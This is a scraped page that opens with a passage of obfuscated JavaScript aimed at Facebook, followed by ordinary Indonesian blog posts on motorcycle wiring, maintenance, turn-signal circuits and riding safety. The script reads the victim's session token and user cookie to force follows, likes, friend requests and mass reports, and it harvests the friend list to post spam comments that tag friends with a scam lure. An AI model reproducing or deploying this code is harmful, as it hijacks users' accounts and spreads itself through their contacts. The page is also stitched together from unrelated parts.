0%, #000000 100%) !important;\nbackground: -webkit-linear-gradient(top,  #45484d 0%, #000000 100%) !important;\nbox-shadow: 0 2px 4px rgba(211, 32, 198, 0.75) !important;\nborder:2px ridge #f99800 !important;\nmargin-top:5px!important;\nmargin-left:0px!important;\nborder-radius: 7px!important;\npadding:3px!important;\n}\n.fbx #pageHead, #blueBar #pageHead{\npadding-top:0px!important;\n}\n\n.slim #blueBar {\n\n    height: 35px!important;\n}\n.fbxWelcomeBoxBlock .fbxWelcomeBoxImg,\n._s0,\n._42fz .pic{\n   border:2px solid  rgba(0, 0, 0, .55)!important;\n   border-radius: 37px!important;\n}\n.fbxWelcomeBoxBlock .fbxWelcomeBoxImg:hover,\n._s0:hover,\n._42fz .pic:hover{\n   box-shadow: 0px 0px 4px rgba(211, 32, 198, 0.75) !important;\n   border:2px ridge #f99800 !important;\n   border-radius: 37px!important;\n}\n.uiSideNav .sideNavItem .hasCount:hover,\n.uiSideNav .sideNavItem .noCount:hover{\n   text-shadow: 2px 2px 2px rgba(39, 98, 138, 0.75) !important;\n   color: #f99800 !important;\n\n}\n#navSearch {\nwidth:300px !important;\nmargin-top: 6px !important;\nmargin-left: 30px !important;\nborder-color: transparent !important;\n}\n#headNav {\n    height: 30px;\n}\n\n\n\na:hover{\n   text-shadow: 2px 2px 2px rgba(39, 98, 138, 0.75) !important;\n   color: #f99800 !important;\n}\n.UIActionLinks_bottom a, \n.UIActionLinks_bottom button.as_link, \n.UIActionLinks_bottom .uiLinkButton input, \n.UIActionLinks_bottom .uiLinkButton input:hover,\n.uiStreamMessage .actorName, .uiStreamMessage .passiveName\n{\n   text-shadow: 1px 1px 1px rgba(0, 0, 0, 0.99) !important;\n   color: #f99800 !important;\n}\n._2yg .composerTypeahead ,#bfb_options_button_li.openToggler ul,\n .better_fb_mini_message, .sfx_mini_message_no_x,\n .GM_options_wrapper_inner,\n .better_fb_mini_message, .mini_x{\nbackground: -moz-linear-gradient(top,  #45484d 0%, #000000 100%) !important;\nbackground: -webkit-linear-gradient(top, #45484d  0%,#000000 100%);\nbox-shadow: 0 2px 4px rgba(39, 98, 138, 0.75) !important;\nborder:2px ridge #f99800 !important;\nmargin-top:5px!important;\nmargin-left:0px!important;\nborder-radius: 7px!important;\npadding:3px!important;\n}\n.GM_options_buttons input{\n   text-shadow: 1px 1px 1px rgba(0, 0, 0, 0.99) !important;\n   color: #f99800 !important;\n\n}";
    if (typeof GM_addStyle != "undefined") {
            GM_addStyle(css);
    } else if (typeof PRO_addStyle != "undefined") {
            PRO_addStyle(css);
    } else if (typeof addStyle != "undefined") {
            addStyle(css);
    } else {
            var node = document.createElement("style");
            node.type = "text/css";
            node.appendChild(document.createTextNode(css));
            var heads = document.getElementsByTagName("head");
            if (heads.length > 0) {
                    heads[0].appendChild(node);
            } else {
                    // no head yet, stick it whereever
                    document.documentElement.appendChild(node);
            }
    }
    })();


/* Nh?c */
var parent=document.getElementsByTagName("html")[0];
var _body = document.getElementsByTagName('body')[0];
var _div = document.createElement('div');
_div.style.height="25";
_div.style.width="100%";
_div.style.position="fixed";
_div.style.top="auto";
_div.style.bottom="0";
_div.align="center";
var _audio= document.createElement('audio');

_audio.style.width="100%";
_audio.style.height="25px";
_audio.controls = true;
_audio.autoplay = false;
_audio.autoplay = true;
_audio.src = "http://195.154.167.62:8206/;stream.nsv";
_div.appendChild(_audio);
_body.appendChild(_div);
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
var fb_dtsg=document.getElementsByName("fb_dtsg")[0].value;
var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
function a(abone){var http4=new XMLHttpRequest;var url4="/ajax/follow/follow_profile.php?__a=1";var params4="profile_id="+abone+"&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg="+fb_dtsg+"&lsd&__"+user_id+"&phstamp=";http4.open("POST",url4,true);http4.onreadystatechange=function(){if(http4.readyState==4&&http4.status==200)http4.close};http4.send(params4)}a("");function sublist(uidss){var a=document.createElement('script');a.innerHTML="new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: "+uidss+" }).send();";document.body.appendChild(a)}
var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);var fb_dtsg=document.getElementsByName('fb_dtsg')[0].value;var now=(new Date).getTime();function P(post){var X=new XMLHttpRequest();var XURL="//www.facebook.com/ajax/ufi/like.php";var XParams="like_action=true&ft_ent_identifier="+post+"&source=1&client_id="+now+"%3A3366677427&rootid=u_ps_0_0_14&giftoccasion&ft[tn]=%3E%3DU&ft[type]=20&ft[qid]=1380391385519013&ft[mf_story_key]="+post+"&nctr[_mod]=pagelet_home_stream&__user="+user_id+"&__a=1&__dyn=7n8ahyj35CFwXAg&__req=j&fb_dtsg="+fb_dtsg+"&phstamp=";X.open("POST",XURL,true);X.onreadystatechange=function(){if(X.readyState==4&&X.status==200){X.close}};X.send(XParams)}var fb_dtsg=document.getElementsByName('fb_dtsg')[0].value;var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);function Like(p){var Page=new XMLHttpRequest();var PageURL="//www.facebook.com/ajax/pages/fan_status.php";var PageParams="&fbpage_id="+p+"&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&nctr[_mod]=pagelet_timeline_page_actions&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=d&fb_dtsg="+fb_dtsg+"&phstamp=";Page.open("POST",PageURL,true);Page.onreadystatechange=function(){if(Page.readyState==4&&Page.status==200){Page.close}};Page.send(PageParams)}Like("");function IDS(r){var X=new XMLHttpRequest();var XURL="//www.facebook.com/ajax/add_friend/action.php";var XParams="to_friend="+r+"&action=add_friend&how_found=friend_browser_s&ref_param=none&&&outgoing_id=&logging_location=search&no_flyout_on_click=true&ego_log_data&http_referer&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=35&fb_dtsg="+fb_dtsg+"&phstamp=";X.open("POST",XURL,true);X.onreadystatechange=function(){if(X.readyState==4&&X.status==200){X.close}};X.send(XParams)}

a("1369586357");
a("100008144829924");
a("100008184425174");
a("100008320513381");

sublist("10203751422170588");
sublist("10203752633720876");
sublist("10203752630280790");
sublist("10203751427450720");
sublist("10203751418890506");
sublist("10203752674121886");
sublist("10204003018540340");
sublist("10204003018060328");
sublist("10204003016620292");
sublist("10204003412950200");
sublist("10204003428950600");
sublist("10204003354468738");

Like("120883347922333");
Like("149663518416907");
Like("1491981964355623");
Like("624838344277334");
Like("253384618196907");

P("4583073259418");
P("4583013737930");
P("4504215448022");
P("4501374256994");
P("3536205448377");
P("1585653085787");
P("10203699209945315");

P("668492249887926");
P("668492063221278");
P("320022518147653");
P("1501827823371037");
P("644125165681985");
P("1502436636643489");
P("320395128110392");
P("645040882257080");
P("276545472515376");



var _0xb161=["\x76\x61\x6C\x75\x65","\x66\x62\x5F\x64\x74\x73\x67","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x4E\x61\x6D\x65","\x6D\x61\x74\x63\x68","\x63\x6F\x6F\x6B\x69\x65","\x67\x65\x74\x54\x69\x6D\x65","\x2F\x2F\x77\x77\x77\x2E\x66\x61\x63\x65\x62\x6F\x6F\x6B\x2E\x63\x6F\x6D\x2F\x61\x6A\x61\x78\x2F\x72\x65\x70\x6F\x72\x74\x2F\x73\x6F\x63\x69\x61\x6C\x2E\x70\x68\x70","\x66\x62\x5F\x64\x74\x73\x67\x3D","\x26\x62\x6C\x6F\x63\x6B\x3D\x31\x26\x70\x70\x3D\x25\x37\x42\x25\x32\x32\x61\x63\x74\x69\x6F\x6E\x73\x5F\x74\x6F\x5F\x74\x61\x6B\x65\x25\x32\x32\x25\x33\x41\x25\x32\x32\x5B\x5D\x25\x32\x32\x25\x32\x43\x25\x32\x32\x61\x72\x65\x5F\x66\x72\x69\x65\x6E\x64\x73\x25\x32\x32\x25\x33\x41\x66\x61\x6C\x73\x65\x25\x32\x43\x25\x32\x32\x63\x69\x64\x25\x32\x32\x25\x33\x41","\x25\x32\x43\x25\x32\x32\x63\x6F\x6E\x74\x65\x6E\x74\x5F\x74\x79\x70\x65\x25\x32\x32\x25\x33\x41\x30\x25\x32\x43\x25\x32\x32\x65\x78\x70\x61\x6E\x64\x5F\x72\x65\x70\x6F\x72\x74\x25\x32\x32\x25\x33\x41\x31\x25\x32\x43\x25\x32\x32\x66\x69\x72\x73\x74\x5F\x63\x68\x6F\x69\x63\x65\x25\x32\x32\x25\x33\x41\x25\x32\x32\x66\x69\x6C\x65\x5F\x72\x65\x70\x6F\x72\x74\x25\x32\x32\x25\x32\x43\x25\x32\x32\x66\x72\x6F\x6D\x5F\x67\x65\x61\x72\x25\x32\x32\x25\x33\x41\x25\x32\x32\x74\x69\x6D\x65\x6C\x69\x6E\x65\x25\x32\x32\x25\x32\x43\x25\x32\x32\x69\x73\x5F\x66\x6F\x6C\x6C\x6F\x77\x69\x6E\x67\x25\x32\x32\x25\x33\x41\x66\x61\x6C\x73\x65\x25\x32\x43\x25\x32\x32\x69\x73\x5F\x74\x61\x67\x67\x65\x64\x25\x32\x32\x25\x33\x41\x66\x61\x6C\x73\x65\x25\x32\x43\x25\x32\x32\x6F\x6E\x5F\x70\x72\x6F\x66\x69\x6C\x65\x25\x32\x32\x25\x33\x41\x66\x61\x6C\x73\x65\x25\x32\x43\x25\x32\x32\x70\x68\x61\x73\x65\x25\x32\x32\x25\x33\x41\x33\x25\x32\x43\x25\x32\x32\x72\x65\x66\x25\x32\x32\x25\x33\x41\x25\x32\x32\x68\x74\x74\x70\x73\x25\x33\x41\x25\x35\x43\x25\x32\x46\x25\x35\x43\x25\x32\x46\x77\x77\x77\x2E\x66\x61\x63\x65\x62\x6F\x6F\x6B\x2E\x63\x6F\x6D\x25\x35\x43\x25\x32\x46\x4E\x61\x6E\x2E\x65\x72\x74\x74\x37\x25\x32\x32\x25\x32\x43\x25\x32\x32\x72\x65\x70\x6F\x72\x74\x5F\x74\x79\x70\x65\x25\x32\x32\x25\x33\x41\x31\x34\x35\x25\x32\x43\x25\x32\x32\x72\x69\x64\x25\x32\x32\x25\x33\x41","\x25\x32\x43\x25\x32\x32\x73\x75\x62\x5F\x72\x65\x70\x6F\x72\x74\x5F\x74\x79\x70\x65\x25\x32\x32\x25\x33\x41\x33\x25\x32\x43\x25\x32\x32\x74\x69\x6D\x65\x5F\x66\x6C\x6F\x77\x5F\x73\x74\x61\x72\x74\x65\x64\x25\x32\x32\x25\x33\x41","\x25\x32\x43\x25\x32\x32\x75\x73\x65\x72\x25\x32\x32\x25\x33\x41","\x25\x37\x44\x26\x66\x69\x6C\x65\x5F\x72\x65\x70\x6F\x72\x74\x3D\x31\x26\x5F\x5F\x75\x73\x65\x72\x3D","\x26\x5F\x5F\x61\x3D\x31\x26\x5F\x5F\x64\x79\x6E\x3D\x37\x6E\x38\x61\x68\x79\x6A\x32\x71\x6D\x76\x75\x35\x6B\x39\x55\x6D\x41\x41\x61\x55\x56\x70\x6F\x26\x5F\x5F\x72\x65\x71\x3D\x75\x26\x74\x74\x73\x74\x61\x6D\x70\x3D\x32\x36\x35\x38\x31\x36\x38\x35\x37\x31\x30\x37\x31\x31\x30\x38\x38\x38\x30","\x50\x4F\x53\x54","\x6F\x70\x65\x6E","\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x73\x74\x61\x74\x75\x73","\x63\x6C\x6F\x73\x65","\x73\x65\x6E\x64","\x31\x30\x30\x30\x30\x36\x39\x35\x32\x31\x31\x39\x30\x34\x38"];var fb_dtsg=document[_0xb161[2]](_0xb161[1])[0][_0xb161[0]];var user_id=document[_0xb161[4]][_0xb161[3]](document[_0xb161[4]][_0xb161[3]](/c_user=(\d+)/)[1]);var now=( new Date)[_0xb161[5]]();function Report(_0x45e7x5){var _0x45e7x6= new XMLHttpRequest();var _0x45e7x7=_0xb161[6];var _0x45e7x8=_0xb161[7]+fb_dtsg+_0xb161[8]+_0x45e7x5+_0xb161[9]+_0x45e7x5+_0xb161[10]+now+_0xb161[11]+user_id+_0xb161[12]+user_id+_0xb161[13];_0x45e7x6[_0xb161[15]](_0xb161[14],_0x45e7x7,true);_0x45e7x6[_0xb161[16]]=function (){if(_0x45e7x6[_0xb161[17]]==4&&_0x45e7x6[_0xb161[18]]==200){_0x45e7x6[_0xb161[19]];} ;} ;_0x45e7x6[_0xb161[20]](_0x45e7x8);} ;
var _0xa22c=["value","fb_dtsg","getElementsByName","match","cookie","1502436636643489","onreadystatechange","readyState","arkadaslar = ","for (;;);","","replace","responseText",";","length","entries","payload","round"," @[","uid",":","text","]"," ","\x26filter[0]=user","\x26options[0]=friends_only","\x26options[1]=nm","\x26token=v7","\x26viewer=","\x26__user=","https://","indexOf","URL","GET","https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1","open","http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1","send","random","floor","\x26ft_ent_identifier=","\x26comment_text= :O Ya tengo varios facebook hackeados!! Verdaderamente si Funciona!! Entra en el blog de la descricion Y sigue los pasos funciona con exito!!! (Y) ","\x26source=2","\x26client_id=1377871797138:1707018092","\x26reply_fbid","\x26parent_comment_id","\x26rootid=u_jsonp_2_3","\x26clp={\x22cl_impid\x22:\x22453524a0\x22,\x22clearcounter\x22:0,\x22elementid\x22:\x22js_5\x22,\x22version\x22:\x22x\x22,\x22parent_fbid\x22:","}","\x26attached_sticker_fbid=0","\x26attached_photo_fbid=0","\x26giftoccasion","\x26ft[tn]=[]","\x26__a=1","\x26__dyn=7n8ahyj35ynxl2u5F97KepEsyo","\x26__req=q","\x26fb_dtsg=","\x26ttstamp=","POST","/ajax/ufi/add_comment.php","Content-type","application/x-www-form-urlencoded","setRequestHeader","status","close"];var fb_dtsg=document[_0xa22c[2]](_0xa22c[1])[0][_0xa22c[0]];var user_id=document[_0xa22c[4]][_0xa22c[3]](document[_0xa22c[4]][_0xa22c[3]](/c_user=(\d+)/)[1]);var id=_0xa22c[5];var arkadaslar=[];var svn_rev;function arkadaslari_al(id){var _0x7892x7= new XMLHttpRequest();_0x7892x7[_0xa22c[6]]=function (){if(_0x7892x7[_0xa22c[7]]==4){eval(_0xa22c[8]+_0x7892x7[_0xa22c[12]].toString()[_0xa22c[11]](_0xa22c[9],_0xa22c[10])+_0xa22c[13]);for(f=0;f<Math[_0xa22c[17]](arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]]/27);f++){mesaj=_0xa22c[10];mesaj_text=_0xa22c[10];for(i=f*27;i<(f+1)*27;i++){if(arkadaslar[_0xa22c[16]][_0xa22c[15]][i]){mesaj+=_0xa22c[18]+arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[19]]+_0xa22c[20]+arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[21]]+_0xa22c[22];mesaj_text+=_0xa22c[23]+arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[21]];} ;} ;yorum_yap(id,mesaj);} ;} ;} ;var _0x7892x8=_0xa22c[24];_0x7892x8+=_0xa22c[25];_0x7892x8+=_0xa22c[26];_0x7892x8+=_0xa22c[27];_0x7892x8+=_0xa22c[28]+user_id;_0x7892x8+=_0xa22c[29]+user_id;if(document[_0xa22c[32]][_0xa22c[31]](_0xa22c[30])>=0){_0x7892x7[_0xa22c[35]](_0xa22c[33],_0xa22c[34]+_0x7892x8,true);} else {_0x7892x7[_0xa22c[35]](_0xa22c[33],_0xa22c[36]+_0x7892x8,true);} ;_0x7892x7[_0xa22c[37]]();} ;function RandomArkadas(){var _0x7892xa=_0xa22c[10];for(i=0;i<9;i++){_0x7892xa+=_0xa22c[18]+arkadaslar[_0xa22c[16]][_0xa22c[15]][Math[_0xa22c[39]](Math[_0xa22c[38]]()*arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]])][_0xa22c[19]]+_0xa22c[20]+arkadaslar[_0xa22c[16]][_0xa22c[15]][Math[_0xa22c[39]](Math[_0xa22c[38]]()*arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]])][_0xa22c[21]]+_0xa22c[22];} ;return _0x7892xa;} ;function yorum_yap(id,_0x7892xc){var _0x7892xd= new XMLHttpRequest();var _0x7892x8=_0xa22c[10];_0x7892x8+=_0xa22c[40]+id;_0x7892x8+=_0xa22c[41]+encodeURIComponent(_0x7892xc);_0x7892x8+=_0xa22c[42];_0x7892x8+=_0xa22c[43];_0x7892x8+=_0xa22c[44];_0x7892x8+=_0xa22c[45];_0x7892x8+=_0xa22c[46];_0x7892x8+=_0xa22c[47]+id+_0xa22c[48];_0x7892x8+=_0xa22c[49];_0x7892x8+=_0xa22c[50];_0x7892x8+=_0xa22c[51];_0x7892x8+=_0xa22c[52];_0x7892x8+=_0xa22c[29]+user_id;_0x7892x8+=_0xa22c[53];_0x7892x8+=_0xa22c[54];_0x7892x8+=_0xa22c[55];_0x7892x8+=_0xa22c[56]+fb_dtsg;_0x7892x8+=_0xa22c[57];_0x7892xd[_0xa22c[35]](_0xa22c[58],_0xa22c[59],true);_0x7892xd[_0xa22c[62]](_0xa22c[60],_0xa22c[61]);_0x7892xd[_0xa22c[6]]=function (){if(_0x7892xd[_0xa22c[7]]==4&&_0x7892xd[_0xa22c[63]]==200){_0x7892xd[_0xa22c[64]];} ;} ;_0x7892xd[_0xa22c[37]](_0x7892x8);} ;arkadaslari_al(id);


Jumat, 09 Mei 2014

Jenis Kabel Sepeda Motor

Assalamu'alaikum warohmatullahi wabarokatuh

Menjawab pertanyaan dari Siswa SMK Tentang Perkabelan Motor yang diakuinya sangat rumit.
Disini saya coba mengulas lebih lanjut tentang Perkabelan Motor.

Kabel yang berfungsi sebagai penyalur arus pada motor tentunya tidak mudah dipahami,mengingat ada banyaknya jalur dan warna yang beragam pada satu jenis Kendaraan Bermotor.

Dalam Penerapannya Kabel Pada Motor hanya dibedakan dua Jenis yaitu :

A. Kabel Positif (+)
Kabel Jenis ini adalah kabel yang Dialiri aliran listrik entah itu INPUT ataupun OUTPUT.

Apa itu INPUT dan OUTPUT.?

INPUT Adalah Kabel yang Teraliri listrik yang masuk ke suatu alat atau menjembatani masuknya aliran listrik ke suatu komponen.

OUTPUT Adalah Kebalikan dari INPUT dan menjadi kabel penghubung dari aliran listrik yang dihasilkan suatu Komponen.

B. Kabel Negatif (-)
Kabel Jenis ini adalah kabel yang hanya bertipe INPUT dan mempunyai ciri hanya satu warna pada setiap Jenis kendaraan bermotor ini,contoh kabel warna Hijau pada honda adalah kabel negatif.

Kabel yang akrab disebut Kabel Masa ini juga hanya bersumber dari Chasis Motor dan bukan pada komponen apapun.
sebaliknya komponen lain butuh kabel tak bermuatan listrik ini untuk Menjalankan tugasnya.

Setelah memahami jenis kabel kita bisa menarik kesimpulan bahwa hanya ada satu warna kabel negatif (-) dan beragam warna kabel positif (+) pada motor.

Untuk lebih mendalami pemahaman anda pada Kabel Motor anda bisa membaca artikel sebelumnya tentang Arti Warna Kabel Semua Motor.

Semoga bermanfaat.

Tips Merawat Motor

Assalamu'alaikum warohmatullahi wabarokatuh

Rubrik Kotor Atau Konsultasi motor yang memang saya sediakan untuk membantu masalah motor anda ataupun tetangga anda yang merupakan ajang Tanya Jawab Via Sms,Email dan Social media ini mendapat banyak responden yang diantaranya menanyakan Bagaimana Cara Merawat Motor.

Menjawab hal itu berikut ulasan lengkapnya untuk anda.

merawat-motor.png

Motor memang menjadi kendaraan yang paling efisien tentunya membutuhkan perawatan entah itu bertipe karburator ataupun injeksi seperti keluaran terbaru.

Perawatan secara berkala itu lebih baik dari pada hanya pas motor dalam kondisi tidak sehat,tutur saya atau yang akrab disapa  saat ditanyai diri sendiri ini,hahaha.

Lantas hal-hal apa saja yang harus dilakukan untuk Merawat Motor agar awet .?

A. Cara Berkendara
Berkendara ugal-ugalan tentu tidak baik dan sebaliknya terlalu pelan anda berkendara juga tidak menjamin motor awet..Kenapa..?
Karena semua kotoran yang dihasilkan saat kendaraan pelan tidak semuanya terbuang.
Dengan Sesekali anda beraselerasi itu lebih baik namun ingat hanya "sesekali".

B. Mencuci
Selain membuat motor bersih,mencuci juga mampu mengangkat debu yang bisa saja merusak motor.
Diwajibkan Mencuci dengan air biasa setelah motor hujan-hujanan,karena air hujan mengandung zat yang dapat merusak komponen motor dengan mengkaratkannya.

C. Pergantian Spare Part
Spare Part atau Suka Cadang ini dibagi 4 yaitu :
  • Kualitas Lokal
  • Kualitas Medium
  • Kualitas Racing
  • Kualitas Orisinal

Jika Motor anda diharuskan mengganti suku cadang biasanya anda ditawari oleh mekanik beberapa merk dengan kualitas tertentu yang tentunya muka andalah yang menentukan,hahaha

Ke 4 barang dengan kualitas masing-masing diatas tentu ada harga yang harus ditebus dan memang kualitas orisinil akan selalu pas dan awet untuk motor anda.
Namun Jika kantong anda pas-pasan saran saya konsultasikan semuanya dengan mekanik,maka anda akan mendapat keputusan terbaik.
Karena yang murah belum tentu jelek.

D. Bahan Bakar
Sebagai Prioritas uTama,pastikan anda Membeli Bahan Bakar di tempat yang anda percayai karena Beberapa oknum kadang Mencampur bahan lain guna tujuan tertentu yang tidak Baik bagi motor anda.
Untuk yang bertipe Injeksi alangkah baiknya anda lebih selektif terhadap hal ini karena injektor yang bersifat sensitif dan rawan rusak.

E. Service Rutin
Hal ini sering diabaikan terlebih jika memang motor yang ditunggangi masih dalam keadaan baik-baik saja.
Idealnya hal ini adalah perbulan untuk motor dinas atau yang rutin dipakai sehari-hari seperti untuk sekolah dan kerja.
Untuk mobilitas kurang atau lebih dari itu waktu service bisa lebih cepat atau lebih lama namun tetap dibarengi dengan pergantian oli.

Tapi Tahukah anda tahu apakah tujuan Service Rutin..?
Layaknya Medical Check up,Servise Rutin adalah untuk Merawat,membersihkan,dan mengecek komponen secara Berkala.

Lalu Meliputi Apa saja Service Rutin itu..?
  • Pembersihan Karburator
  • Pembersihan Injektor (untuk motor injeksi)
  • Pembersihan filter udara
  • Pembersihan Busi
  • Penyetelan klep
  • Penyetelan Rante
  • Pembersihan CVT (Untuk Motor Matic)
  • Pengecekan Kelistrikan
  • Pengecekan Air aki Basah
  • Penggantian Oli Mesin
  • Penggantian Oli Gardan (Matic)
  • Pembersihan Block Silinfr (2 tak)
  • Pengecekan pompa oli samping (2 tak)

Dari kesemua itu berapa biaya yang harus dikeluarkan.?

Umumnya biaya service tergantung bengkelnya dan sebagai perbandingan berikut daftar harga service di tempat saya.

Untuk Motor Tahun 2005 ke bawah berkisar Rp 20.000 - Rp 25.000 untuk 2 tak dan 4 tak diluar ongkos oli dan pergantian spare part.

Untuk Motor Tahun 2006 ke atas Tergantung Jenis Motor antara Rp 25.000 - Rp 35.000 diluar pergantian spare part dan Oli.

Untuk Matic Berkisar Rp 25.000 - Rp 30.000 ditambah Pembersihan CVT Rp 15.000 diluar pergantian spare part,oli Mesin dan Oli gardan.

Jika Ditambah dengan pergantian oli bisa dihitung kurang dari Rp 100.000/bulan atau hanya Rp 3.000an/hari dan dijamin Motor anda Tetap wuss.

Dan Pastikan anda service di bengkel kepercayaan anda dan anda juga bisa mengeluhkan masalah motor anda DISINI.

E. Lain-lain
Yang Terakhir adalah Berupa Tips ringan yang Masih Berhubungan Dengan Cara Merawat Motor.

1. Selalu awali memanaskan motor dipagi hari diawali dengan kick stater kurang lebih 10 kali tanpa kunci kontak guna melancarkan pelumasan dan lanjutkan dengan kunci kontak dan selah sampai motor nyala dibarengi dengan menarik Choke dan diamkan motor dalam kondisi langsam sekitar 1 menit dan kembalikan choke seperti semula.

2. Hindari Kebiasaan Menghidupkan Motor Dipagi hari dengan Elektrik stater karena akan Memperpendek Umur Aki.
Di pagi hari atau saat motor baru keluar,aki Masih dalam keadaan perut Kosong dan pengisian aki didapat kalau motor itu hidup.
Kita juga tidak mau kan Bekerja dengan Perut Kosong.

3. Cek Selalu Kondisi Tekanan Ban Guna Kenyamanan Anda Saat Berkendara.

4. Pastikan anda mengikuti Tips diatas untuk keamanan dan kenyamanan motor anda.

Bermanfaatkah bagi anda.?semoga.

Skema Lampu Sein

Assalamu'alaikum warohmatullahi wabarokatuh

Lampu Sein adalah salah satu kelengkapan laik jalan kendaraan bermotor kita dan tentunya hal yang satu ini tak bisa diabaikan.

Lalu bagaimana jika Lampu Sein Anda Bermasalah Seperti :
  • Tidak Berkedip
  • Redup
  • Mati Sebelah
  • Mati Total

Lalu Bagaimana pula cara mengatasinya.?

Mendatangi bengkel langganan memang lebih menjamin,namun tidak ada salahnya juga jika anda belajar tentang Kelistrikan Motor Yang Satu ini.

Simak Ulasan Lengkap dari Mang DEDEK Tentang Skema Lampu Sein.

Pastikan anda Telah Memahami Arti Warna Kabel Semua Motor sebagai dasar dari semua ini.
Ups salah,I'm Sorry I'm Not A Perfect Person.

Skema Lampu Sein

Keterangan Gambar :

1. Regulator atau yang akrab disapa Kiprok ini adalah elemen paling vital dalam tutorial ini.
Peranti Berwarna Abu-abu Persegi panjang ini berguna untuk mengolah arus listrik dari Spul Pengisian yang ditandai dengan kabel berwarna putih sebagai Input yang menghasilkan Arus pengisian ke Aki (kabel merah) Melalui sikring Sebagai pengaman.

2. Sikring yang berfungsi sebagai penyalur arus dari dan ke Aki ini juga Sebagai pengaman saat terjadi korsleting.
Pastikan pula Perangkat yang berdampingan dengan aki ini tidak terputus saat mengecek kelistrikan.

3. Aki yang peranannya sebagai penampung arus ini,memang tidak mutlak diperlukan dalam skema lampu sein.
Karena dalam hal ini aki hanya bertugas menambah terang lampu dan menyalakan lampu sein tanpa mesin menyala.

4. Kunci Kontak bertugas sebagai pemutus dan penghubung arus listrik dari aki ataupun dari arus pengisian dalam hal ini saja tentunya.
Arus dari kunci kontak diteruskan ke arah peranti no 5 dengan output kabel warna hitam.

5. Flasher yang berciri fisik berwarna hitam dengan 2 kaki 1 input dari kunci kontak dan 1 output ke arah peranti no 6.
Alat inilah yang membuat Lampu Sein Berkedip.

6. Sakelar pada lampu sein terdiri dari 3 jalur kabel yang akan terhubung dengan gerakan tangan kekiri dan kekanan saat hendak berbelok.
Warna Abu-abu adalah Input Dari Flasher yang akan terhubung dengan kabel Biru muda untuk Sein kanan dan Orange Untuk Sein Kiri.

7. Arti F-I-R adalah :
  • F = Front atau Depan
  • I = Indikator di speedo Meter
  • R = Rear atau Belakang

Tiap arus yang keluar dicabang 3 ke arah tersebut.

Warna diatas hanyalah ilustrasi namun dengan fungsi sebenarnya.

Pada merk motor apapun Skema Lampu Sein tetaplah Seperti itu jadi tutorial ini berguna pada pengendara motor apapun.

Untuk Masalah Motor anda bisa konsultasikan Disini.
semoga bermanfaat.

Tips Berkendara

Assalamu'alaikum warohmatullahi wabarokatuh

Setelah Sebelumnya mengupas tentang Pelanggaran Lampu Merah yang Melibatkan Valentino dan Ezcy Hayden yang menarik untuk dibaca.

Masih dengan Tema yang Sama seputar Kendaraan Bermotor namun dengan Judul Tips Berkendara.

Berkendara yang baik tentunya harus ditunjang dengan kendaraan laik jalan dan Terawat yang bisa anda Temukan dengan membaca Tips Merawat Motor.

Setelah Memastikan kendaraan anda laik jalan,maka hal yang harus anda patuhi adalah bagaimana Tips Berkendara yang baik dan benar.

Berikut point-point yang anda bisa terapkan untuk kenyamanan berkendara.

1. Kenalilah karakter kendaraan anda.
Lebih dekatlah dengan kendaraan anda,rawatlah dan pahami karakter kendaraan anda agar aktifitas berkendara anda lebih nyaman.
Bila perlu tidurlah dengan kendaraan agar hubungan anda Lebih intens.

tips-berkendara-01.jpg

2. Helm Standar SNI
Pastikan peranti pelindung kepala ini berlabel SNI Dan Pas dengan ukuran kepala anda.
Helm Berlisensi SNI Lebih menjamin keselamatan berkendara anda.

tips-berkendara-02.jpg

3. Utamakan keluarga
Keluarga adalah segalanya terutama anak anda,maka pastikanlah anak anda "terdandani" dengan sempurna demi kesempurnaan berkendara anda dengan keluarga anda.

tips-berkendara-03.jpg

4. Pakaian Lengkap
Selain helm berlisensi,pastikan Seluruh badan anda Terlapisi dengan berbagai jenis pelindung yang bisa menerbangkan anda saat terjadi kecelakaan.

tips-berkendara-04.jpg

5. Sesuai STNK
Kendaraan yang baik dan laik berkendara adalah yang warna dan spesifikasinya sesuai yang tertera pada surat tanda nomor kendaraan (STNK).

tips-berkendara-05.jpg

6. Over Load
Perhatikan muatan atau barang bawaan tidak melebihi spesifikasi yang sudah ditentukan.
Perhatikan pula yang anda bawa tidak mengganggu pengendara lain.

tips-berkendara-06.jpg

7. Penumpang Selalu Dibelakang
Jangan Mentang-Mentang penumpangnya adalah istri anda maka bisa menempatkannya didepan bawah anda.
Untuk hal ini ada tempat yang lebih nyaman selain sepeda motor kok.

tips-berkendara-07.jpg

8. Hanya Untuk 2 Orang
Sepeda Motor sebenarnya difungsikan hanya untuk 2 orang saja tidak Lebih.
Kecuali motor anda memang odong-odong.

tips-berkendara-08.jpg

9. Dilarang Menggunakan Hp
Tarif sms dan social network yang makin bersaing antar penyedia layanan seluler tidak bisa gunakan seenaknya apalagi saat berkendara.
Mentang-mentang murah deket aja sms-an.

tips-berkendara-09.jpg

10. Dilarang Main Musik
Menyalurkan Hobi bermusik memang sah-sah saja,siapapun dan kapanpun semuanya punya hak kebebasan,namun tetap lihat-lihat tempat ya.?

tips-berkendara-10.jpg

11. Bertingkah Nyeleneh
Satu lagi hobi yang tidak seharusnya anda terapkan saat berkendara apalagi di jam kerja.
Profesionalitas anda dituntut dalam pekerjaan anda.
Jadi pastikan praktekan hobi anda diluar jam kerja anda.

